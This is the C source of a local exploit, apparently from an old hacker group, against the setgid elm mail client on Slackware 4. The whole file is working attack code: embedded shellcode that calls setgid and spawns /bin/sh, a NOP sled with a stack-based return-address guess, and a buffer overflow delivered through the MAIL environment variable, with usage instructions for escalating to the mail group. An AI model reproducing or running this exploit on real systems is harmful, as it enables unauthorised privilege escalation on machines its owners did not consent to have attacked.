/*
   Elm Exploit - Scrippie - #Phreak.nl - b0f - http://b0f.freebsd.lublin.pl

   This exploit spawns an EGID mail shell on the default Slackware 4 install.

  Use as: elm-smash [mail-gid] [offset]

  Not that EGID=mail has got any use, but hey, think of it as group
        eleviation :)
 
  Take care and till next time!
*/

#include <stdio.h>
#define NUMNOPS 193    // If you change this, you gonna have to change
        // the entire sploit ;)

// Shellcode does: setgid(12); execve("/bin/sh");
char shellcode[]="\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76"
 "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
 "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f"
 "\x73\x68";

// Oh no! Where the fuck is my code on the stack?
unsigned long get_sp(void) {
   __asm__("movl %esp, %eax");
}
// Thanx for telling me lad :)

main(int argc, char **argv)
{
   int i, offset=-300;    // Offset works for my box
   char gid=12;
   long addy;
   char *thaCode;
   char *mailGid;

   if(argc > 1) {
      gid = (char) atoi(argv[1]);
      mailGid = (char *)strchr(shellcode, 0x0c);
      *mailGid = gid;
   }

   if(argc > 2) offset = atoi(argv[2]);

   if(!(thaCode = (char *) malloc(NUMNOPS+sizeof(shellcode)+5))) {
      fprintf(stderr, "Contact your admin and tell him to buy more RAM\n");
      exit(-1);
   }

   addy = get_sp() - offset;

   printf("/-----------------------------------------------\\\n");
   printf("|   Slack 4/Elm exploit - Scrippie              |\n");
   printf("\\-----------------------------------------------/\n");
   printf("Assuming sgid(elm) = %d\n", (int) gid);
   printf("Using ret addr = %x\n", addy);
   printf("You're now EUID=mail, take care :-p\n");
   printf("Please run \"reset\" when this works\n");
   sleep(4);

   memset(thaCode, 0x90, NUMNOPS);
   thaCode[NUMNOPS] = 0x00;    // Set to NULL to make strcat() work
   strcat(thaCode, shellcode);

   memcpy(thaCode + strlen(thaCode), (void *) &addy, 4);
   setenv("MAIL", thaCode, 1);    // We're going to be nasty now :)

   if((execl("/usr/bin/elm", "/usr/bin/elm", NULL)) == -1) {
      perror("execl()");
      exit(-1);
   }
   exit(0);
}